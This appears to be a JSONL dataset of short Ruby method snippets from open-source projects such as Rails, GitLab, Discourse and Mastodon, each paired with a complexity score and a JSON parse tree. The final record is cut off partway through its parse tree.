{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/inline.rb","start_line":275,"raw_source":"def so_name\n      unless defined? @so_name then\n        @so_name = \"#{Inline.directory}/#{module_name}.#{Config::CONFIG[\"DLEXT\"]}\"\n      end\n      @so_name\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"so_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@so_name\"]}]},null,{\"type\":\"ivasgn\",\"children\":[\"@so_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Inline\"]},\"directory\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"module_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"CONFIG\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DLEXT\"]}]}]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@so_name\"]}]}]}","id":"8894ec0c-9777-469d-badf-de126a50c01f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output_as_buffered.rb","start_line":103,"raw_source":"def initialize\n      super\n      @format_type_is_msgpack = nil\n      @prefer_delayed_commit = nil\n      @write = nil\n      @try_write = nil\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@format_type_is_msgpack\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@prefer_delayed_commit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@write\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@try_write\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"1e06b58d-b065-4338-a71e-2673b1ab1684"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme_modifier_set.rb","start_line":14,"raw_source":"def type_validator\n    ThemeModifierSet.modifiers.each do |k, config|\n      value = self[k]\n      next if value.nil?\n\n      case config[:type]\n      when :boolean\n        next if [true, false].include?(value)\n      when :string_array\n        next if value.is_a?(Array) && value.all? { |v| v.is_a?(String) }\n      end\n      errors.add(k, :invalid)\n    end\n  end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"type_validator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThemeModifierSet\"]},\"modifiers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"next\",\"children\":[]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"string_array\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]}]}]}]}","id":"56ed4661-5076-40e5-b3d4-61ab9315c3ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/explore/projects_controller.rb","start_line":176,"raw_source":"def show_alert_if_search_is_disabled\n    if current_user || (params[:name].blank? && params[:search].blank?) || !html_request? || Feature.disabled?(\n      :disable_anonymous_project_search, type: :ops)\n      return\n    end\n\n    flash.now[:notice] = _('You must sign in to search for specific projects.')\n  end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"show_alert_if_search_is_disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},\"blank?\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_request?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"sym\",\"children\":[\"disable_anonymous_project_search\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"You must sign in to search for specific projects.\"]}]}]}]}]}","id":"08f9f6ac-c30a-4165-a869-6b9f8549af9a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/heredoc_argument_closing_parenthesis.rb","start_line":290,"raw_source":"def external_trailing_comma?(node)\n          !external_trailing_comma_offset_from_loc_end(node).nil?\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"external_trailing_comma?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"external_trailing_comma_offset_from_loc_end\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"nil?\"]},\"!\"]}]}","id":"cfb4cac0-aa74-45f5-84aa-f18686859bfc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":1941,"raw_source":"clients.last.instance_eval { def overwrite_to_raise() raise \"Trigger rollback\" end }","complexity_score":8.6,"ast_json":"{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clients\"]},\"last\"]},\"instance_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"overwrite_to_raise\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Trigger rollback\"]}]}]}]}","id":"2d079760-9d7c-4d80-bc64-d54fedd62386"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/orders/shipping_address_controller.rb","start_line":43,"raw_source":"def edit\n          @address = @order.ship_address\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@address\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"ship_address\"]}]}]}","id":"7516eba2-58cb-4149-a6c5-df8f2ec7e5ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/import_task.rb","start_line":7,"raw_source":"def import\n          show_import_start_message\n\n          run_isolated_sidekiq_job\n\n          show_import_failures_count\n\n          return error(project.import_state.last_error) if project.import_state&.last_error\n          return error(project.errors.full_messages.to_sentence) if project.errors.any?\n\n          success('Done!')\n        end","complexity_score":26.5,"ast_json":"{\"type\":\"def\",\"children\":[\"import\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_import_start_message\"]},{\"type\":\"send\",\"children\":[null,\"run_isolated_sidekiq_job\"]},{\"type\":\"send\",\"children\":[null,\"show_import_failures_count\"]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_state\"]},\"last_error\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_state\"]},\"last_error\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"errors\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"errors\"]},\"full_messages\"]},\"to_sentence\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"str\",\"children\":[\"Done!\"]}]}]}]}","id":"a945b672-7cba-49ad-a3c6-80f150e14a0f"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/drupal_json.rb","start_line":10,"raw_source":"def initialize\n    super\n    @users_json = load_json(\"formatted_users.json\")\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@users_json\",{\"type\":\"send\",\"children\":[null,\"load_json\",{\"type\":\"str\",\"children\":[\"formatted_users.json\"]}]}]}]}]}","id":"2d5543d5-434e-40ba-b0e7-6b099dca9e89"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/design_management/design.rb","start_line":244,"raw_source":"def allow_dangerous_images?\n      Feature.enabled?(:design_management_allow_dangerous_images, project)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_dangerous_images?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"design_management_allow_dangerous_images\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"dab870bb-1457-4648-bd95-12f08adef174"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister/builder/automation_manager.rb","start_line":12,"raw_source":"def configuration_scripts\n          default_manager_ref\n          add_common_default_values\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configuration_scripts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_manager_ref\"]},{\"type\":\"send\",\"children\":[null,\"add_common_default_values\"]}]}]}","id":"ff910411-a37c-4ce8-b6a1-92f2a2fdbe42"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/errors.rb","start_line":155,"raw_source":"def initialize(reflection = nil)\n      if reflection\n        through_reflection      = reflection.through_reflection\n        source_reflection_names = reflection.source_reflection_names\n        source_associations     = reflection.through_reflection.klass._reflections.keys\n        super(\"Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(two_words_connector: ' or ', last_word_connector: ', or ')} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(two_words_connector: ' or ', last_word_connector: ', or ')}?\")\n      else\n        super(\"Could not find the source association(s).\")\n      end\n    end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"reflection\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"through_reflection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"through_reflection\"]}]},{\"type\":\"lvasgn\",\"children\":[\"source_reflection_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"source_reflection_names\"]}]},{\"type\":\"lvasgn\",\"children\":[\"source_associations\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"through_reflection\"]},\"klass\"]},\"_reflections\"]},\"keys\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find the source association(s) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_reflection_names\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inspect\"]}]}]},\"to_sentence\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"two_words_connector\"]},{\"type\":\"str\",\"children\":[\" or \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_word_connector\"]},{\"type\":\"str\",\"children\":[\", or \"]}]}]}]}]},{\"type\":\"str\",\"children\":[\" in model \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"through_reflection\"]},\"klass\"]}]},{\"type\":\"str\",\"children\":[\". Try 'has_many \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"name\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\", :through => \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"through_reflection\"]},\"name\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\", :source => <name>'. Is it one of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_associations\"]},\"to_sentence\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"two_words_connector\"]},{\"type\":\"str\",\"children\":[\" or \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_word_connector\"]},{\"type\":\"str\",\"children\":[\", or \"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find the source association(s).\"]}]}]}]}","id":"3fd6381f-0dd7-4249-9b10-c85b6e829594"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/callbacks_test.rb","start_line":1083,"raw_source":"def test_reset_callbacks\n      events = []\n      klass = build_class events\n      klass.new.run\n      assert_equal 1, events.length\n\n      klass.reset_callbacks :foo\n      klass.new.run\n      assert_equal 1, events.length\n    end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reset_callbacks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[null,\"build_class\",{\"type\":\"lvar\",\"children\":[\"events\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]},\"run\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"reset_callbacks\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]},\"run\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"length\"]}]}]}]}","id":"5b62068d-afe4-4b91-93ae-7a18be10d720"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_task.rb","start_line":179,"raw_source":"def self.error(taskid, message)\n    task = find_by(:id => taskid)\n    task.error(message) unless task.nil?\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"taskid\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task\",{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"taskid\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"ab582653-888e-49ae-b590-0e7cc1ac9b03"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/rate_limiter.rb","start_line":162,"raw_source":"def prefixed_key\n    if @global\n      \"GLOBAL::#{key}\"\n    else\n      Discourse.redis.namespace_key(key)\n    end\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"prefixed_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@global\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GLOBAL::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"namespace_key\",{\"type\":\"send\",\"children\":[null,\"key\"]}]}]}]}","id":"3f600663-75fc-4dcf-acf8-561d1e3eb6d9"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/page_sections/featured_taxon.rb","start_line":86,"raw_source":"def make_heading_size_valid\n        self.preferred_heading_size = 'small' unless %w[small medium large].include?(preferred_heading_size)\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"make_heading_size_valid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"small\"]},{\"type\":\"str\",\"children\":[\"medium\"]},{\"type\":\"str\",\"children\":[\"large\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"preferred_heading_size\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"preferred_heading_size=\",{\"type\":\"str\",\"children\":[\"small\"]}]}]}]}","id":"937477d7-f97e-4ebf-a115-4eb841d94e1c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/webhooks/instagram_events_job.rb","start_line":95,"raw_source":"def event_name(messaging)\n    @event_name ||= SUPPORTED_EVENTS.find { |key| messaging.key?(key) }\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"event_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"messaging\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@event_name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SUPPORTED_EVENTS\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messaging\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"4f4bccc0-f621-4dd3-b077-76b9480c374c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/export_domain_allows_controller.rb","start_line":50,"raw_source":"def export_data\n      CSV.generate(headers: export_headers, write_headers: true) do |content|\n        DomainAllow.allowed_domains.each do |domain|\n          content << [domain]\n        end\n      end\n    end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"export_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"generate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"export_headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"write_headers\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DomainAllow\"]},\"allowed_domains\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]}]}","id":"7a3ceac9-11d7-4449-8efa-dee6332bd9d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_chunks/database.rb","start_line":14,"raw_source":"def data(model)\n        model.raw_data\n      rescue ActiveModel::MissingAttributeError\n        model.reset.raw_data\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"raw_data\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"MissingAttributeError\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"reset\"]},\"raw_data\"]}]},null]}]}","id":"ca2e0645-d998-47f2-8684-da59e0af39a3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/purging_mixin.rb","start_line":66,"raw_source":"def purge_timer\n      purge_queue(*purge_mode_and_value)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_timer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"purge_queue\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"purge_mode_and_value\"]}]}]}]}","id":"af23e16c-26c6-4189-9034-3332e0d9f738"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/concerns/basic_category_attributes.rb","start_line":12,"raw_source":"def category_description\n    if object.uncategorized?\n      I18n.t(\"category.uncategorized_description\", locale: SiteSetting.default_locale)\n    else\n      object.description\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"category_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"uncategorized?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"category.uncategorized_description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_locale\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"description\"]}]}]}","id":"f26c7a9e-daa3-4ad5-8bba-d99f5c902fa2"}
{"repo_name":"forem","file_path":"./repos/forem/spec/support/sidekiq_test_helpers.rb","start_line":36,"raw_source":"def sidekiq_assert_enqueued_with(job: nil, args: nil, at: nil, queue: nil)\n    expected = { job: job, args: args, at: at, queue: queue }.compact\n    expected_args = Utils.prepare_args(expected)\n\n    yield if block_given?\n\n    # check there's at least one job with the given args\n    matching_job = job.jobs.detect do |queued_job|\n      expected_args.all? { |key, value| value == queued_job[key] }\n    end\n\n    expect(matching_job).to be_present, \"No enqueued job found with #{expected}\"\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"sidekiq_assert_enqueued_with\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"job\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"args\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"at\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"queue\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"at\"]},{\"type\":\"lvar\",\"children\":[\"at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"lvar\",\"children\":[\"queue\"]}]}]},\"compact\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_args\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"prepare_args\",{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"matching_job\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"jobs\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queued_job\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_args\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queued_job\"]},\"[]\",{\"t